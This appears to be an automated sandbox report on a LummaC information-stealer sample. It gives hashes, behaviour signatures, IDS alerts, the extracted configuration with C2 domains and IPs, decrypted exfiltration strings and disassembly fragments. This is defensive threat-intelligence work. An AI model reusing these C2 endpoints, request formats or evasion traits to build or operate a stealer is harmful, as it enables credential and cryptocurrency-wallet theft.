Edit tour

Windows Analysis Report
xCnwCctDWC.exe

Overview

General Information

Sample name:	xCnwCctDWC.exe renamed because original name is a hash value
Original sample name:	0e5aa226db83b1ebcf03b3fa773cd744.exe
Analysis ID:	1586503
MD5:	0e5aa226db83b1ebcf03b3fa773cd744
SHA1:	41a85bf59c6d45d6f1507bfe820189fe1a81fd51
SHA256:	ad8e01bfb2dbc2fc78a8435ee5f13816b1356261fc81b3b2507a30b5663fa7a0
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

xCnwCctDWC.exe (PID: 7468 cmdline: "C:\Users\user\Desktop\xCnwCctDWC.exe" MD5: 0E5AA226DB83B1EBCF03B3FA773CD744)

1C22.tmp.exe (PID: 7696 cmdline: "C:\Users\user\AppData\Local\Temp\1C22.tmp.exe" MD5: D66791DB5C8D7BF392361E2343F7A5EA)

WerFault.exe (PID: 7884 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7696 -s 1668 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["crowdwarek.shop", "femalsabler.shop", "versersleep.shop", "robinsharez.shop", "skidjazzyric.click", "soundtappysk.shop", "chipdonkeruz.shop", "apporholis.shop", "handscreamny.shop"], "Build id": "4h5VfH--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.1661185876.0000000000560000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.3859571400.0000000000709000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x11b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000003.00000002.1661413975.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000003.00000003.1557665827.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 1C22.tmp.exe PID: 7696	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 1C22.tmp.exe PID: 7696	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 1C22.tmp.exe PID: 7696	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 5 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T08:34:54.133007+0100	2028371	3	Unknown Traffic	192.168.2.8	49708	104.21.112.1	443	TCP
2025-01-09T08:34:55.120507+0100	2028371	3	Unknown Traffic	192.168.2.8	49709	104.21.112.1	443	TCP
2025-01-09T08:34:56.399127+0100	2028371	3	Unknown Traffic	192.168.2.8	49710	104.21.112.1	443	TCP
2025-01-09T08:34:57.538748+0100	2028371	3	Unknown Traffic	192.168.2.8	49711	104.21.112.1	443	TCP
2025-01-09T08:34:59.074379+0100	2028371	3	Unknown Traffic	192.168.2.8	49712	104.21.112.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T08:34:54.608539+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49708	104.21.112.1	443	TCP
2025-01-09T08:34:55.619251+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49709	104.21.112.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T08:34:54.608539+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49708	104.21.112.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T08:34:55.619251+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49709	104.21.112.1	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T08:34:58.084110+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49711	104.21.112.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T08:34:50.153841+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49706	104.21.56.70	443	TCP
2025-01-09T08:34:51.020389+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49707	176.113.115.19	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: xCnwCctDWC.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://post-to-me.com/track_prt.php?sub=0&cc=DE6	Avira URL Cloud: Label: malware
Source: https://skidjazzyric.click/api	Avira URL Cloud: Label: malware
Source: skidjazzyric.click	Avira URL Cloud: Label: malware
Source: https://skidjazzyric.click/d	Avira URL Cloud: Label: malware
Source: https://skidjazzyric.click/	Avira URL Cloud: Label: malware
Source: https://post-to-me.com/track_prt.php?sub=	Avira URL Cloud: Label: malware
Source: https://skidjazzyric.click/(1	Avira URL Cloud: Label: malware
Source: https://skidjazzyric.click/api5	Avira URL Cloud: Label: malware
Source: https://post-to-me.com/track_prt.php?sub=0&cc=DE	Avira URL Cloud: Label: malware
Source: https://post-to-me.com/s	Avira URL Cloud: Label: malware
Source: https://post-to-me.com/t	Avira URL Cloud: Label: malware
Source: https://skidjazzyric.click:443/api	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\ScreenUpdateSync[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1306978
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Avira: detection malicious, Label: HEUR/AGEN.1306978

Found malware configuration

Source: 3.2.1C22.tmp.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["crowdwarek.shop", "femalsabler.shop", "versersleep.shop", "robinsharez.shop", "skidjazzyric.click", "soundtappysk.shop", "chipdonkeruz.shop", "apporholis.shop", "handscreamny.shop"], "Build id": "4h5VfH--"}

Multi AV Scanner detection for submitted file

Source: xCnwCctDWC.exe	Virustotal: Detection: 37%			Perma Link
Source: xCnwCctDWC.exe	ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\ScreenUpdateSync[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: xCnwCctDWC.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.1661185876.0000000000560000.00000040.00001000.00020000.00000000.sdmp	String decryptor: robinsharez.shop
Source: 00000003.00000002.1661185876.0000000000560000.00000040.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000002.1661185876.0000000000560000.00000040.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000002.1661185876.0000000000560000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000002.1661185876.0000000000560000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000002.1661185876.0000000000560000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000003.00000002.1661185876.0000000000560000.00000040.00001000.00020000.00000000.sdmp	String decryptor: 4h5VfH--

Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe

Code function: 3_2_00415720 CryptUnprotectData,

3_2_00415720

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Unpacked PE file: 0.2.xCnwCctDWC.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Unpacked PE file: 3.2.1C22.tmp.exe.400000.0.unpack

Source: xCnwCctDWC.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.56.70:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.8:49712 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_004389F2 FindFirstFileExW,		0_2_004389F2
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_006A8C59 FindFirstFileExW,		0_2_006A8C59

Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov dword ptr [esp+3Ch], edx	3_2_0043B870
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov edx, ecx	3_2_0043B870
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov esi, ecx	3_2_00415720
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ecx, eax	3_2_00415720
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 1ED645B4h	3_2_00419840
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [edi+eax]	3_2_0040A05C
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 53585096h	3_2_00427070
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	3_2_0042D830
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 01FCE602h	3_2_0043F0E0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0041B882
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then jmp eax	3_2_004418A0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0041B173
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	3_2_0042B170
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0041A900
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0041B184
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then test esi, esi	3_2_0043C9A0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [ecx], al	3_2_0041B243
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [esi], cl	3_2_0042EA62
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov eax, dword ptr [edi+0Ch]	3_2_00402210
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ecx, eax	3_2_0040AA32
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+esi-00001458h]	3_2_00425AF0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ecx, eax	3_2_00428280
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	3_2_0041F2A0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ebx, eax	3_2_00405AB0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ebp, eax	3_2_00405AB0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ecx, edx	3_2_0040B2B0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [esi], cl	3_2_0042EB5F
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_0042BB00
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0041BB21
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov dword ptr [esp+14h], 00000000h	3_2_00441B20
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0041AB2A
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+edi+72B923DBh]	3_2_0040C334
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+72B923DBh]	3_2_0040C3EC
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ebx, edx	3_2_0042DBF0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then jmp ecx	3_2_0040D334
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	3_2_00422380
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-000000E2h]	3_2_0041BBA0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov dword ptr [ebx], 00000022h	3_2_0042BBA0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [esi], cl	3_2_0042EBA1
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ecx, eax	3_2_00440BAB
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [esi], cl	3_2_0042EBB3
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov dword ptr [esp+14h], 00000000h	3_2_00441BB0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov dword ptr [esp+14h], 00000000h	3_2_00441C40
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ecx, eax	3_2_00442470
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 53585096h	3_2_00426C76
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov eax, edi	3_2_0041C400
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [esi], al	3_2_00417405
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edi+17ECFBF3h]	3_2_00417405
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov edx, ecx	3_2_00417405
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	3_2_00414C20
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov dword ptr [ebp-00000248h], 24272637h	3_2_0044042D
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ecx, eax	3_2_0044042D
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0041B484
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov word ptr [esi], cx	3_2_00427490
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 53585096h	3_2_00425D6A
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_00438520
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then cmp dword ptr [ebp+edi*8+00h], 4B884A2Eh	3_2_00442D20
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then push edi	3_2_0043C5A0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+edi+53BD8A12h]	3_2_0043C5A0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	3_2_0042B652
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0041B667
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ecx, dword ptr [0044C548h]	3_2_00418672
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00409E09
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	3_2_00407620
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	3_2_00407620
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then jmp ecx	3_2_0040CEC7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+00000128h]	3_2_00416ED0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+3A4EC517h]	3_2_0041BEE1
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0041AEFF
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx ebx, byte ptr [edx+eax-03DAF14Eh]	3_2_0040DFE2
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [eax], cl	3_2_0040DFE2
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+ebx+08h]	3_2_00408F90
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then cmp dword ptr [ebp+edi*8+00h], 0EF2A4EDh	3_2_004427B0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx ebx, byte ptr [edx+eax-03DAF14Eh]	3_2_0210E249
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [eax], cl	3_2_0210E249
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [edi+eax]	3_2_0210A2C3
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 01FCE602h	3_2_0213F347
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0211B3DA
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0211B3EB
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0210A070
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov esi, ecx	3_2_021160EF
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+00000128h]	3_2_02117137
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then jmp ecx	3_2_0210D12E
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+3A4EC517h]	3_2_0211C148
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0211B166
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+ebx+08h]	3_2_021091F7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov dword ptr [esp+14h], 00000000h	3_2_021421EA
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then jmp ecx	3_2_0210D59B
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov eax, edi	3_2_0211C667
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov dword ptr [ebp-00000248h], 24272637h	3_2_02140694
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ecx, eax	3_2_02140694
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ecx, eax	3_2_021426D7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov word ptr [esi], cx	3_2_021276F7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0211B6EB
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [esi], al	3_2_0211773F
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_02138787
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov eax, dword ptr [edi+0Ch]	3_2_02102477
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [ecx], al	3_2_0211B4AA
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ecx, eax	3_2_021284E7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	3_2_0211F507
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+edi+72B923DBh]	3_2_0210C59B
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	3_2_021225E7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then cmp dword ptr [ebp+edi*8+00h], 0EF2A4EDh	3_2_02142A17
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ecx, edx	3_2_0210BA6C
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	3_2_0212DA97
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 1ED645B4h	3_2_02119AA7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov dword ptr [esp+3Ch], edx	3_2_0213BAD7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov edx, ecx	3_2_0213BAD7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edi+17ECFBF3h]	3_2_02117AE4
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov edx, ecx	3_2_02117AE4
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0211BAE9
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0211AB67
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 53585096h	3_2_02126BA7
